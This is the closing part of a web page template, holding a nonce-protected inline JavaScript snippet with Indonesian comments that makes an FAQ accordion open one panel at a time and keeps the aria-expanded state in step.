<script nonce="<?= esc(CSP_NONCE) ?>">
document.addEventListener('DOMContentLoaded', function () {
  var buttons = document.querySelectorAll('#accordionFaq .accordion-button');
  buttons.forEach(function (btn) {
    btn.addEventListener('click', function () {
      var targetId  = btn.getAttribute('data-bs-target');
      var targetEl  = document.querySelector(targetId);
      var isOpen    = targetEl.classList.contains('show');
      var parent    = document.getElementById('accordionFaq');

// Tutup semua panel
      parent.querySelectorAll('.accordion-collapse').forEach(function (panel) {
        panel.classList.remove('show');
      });
      parent.querySelectorAll('.accordion-button').forEach(function (b) {
        b.classList.add('collapsed');
        b.setAttribute('aria-expanded', 'false');
      });

// Buka panel yang diklik (toggle)
      if (!isOpen) {
        targetEl.classList.add('show');
        btn.classList.remove('collapsed');
        btn.setAttribute('aria-expanded', 'true');
      }
    });
  });
});
</script>
</body>
</html>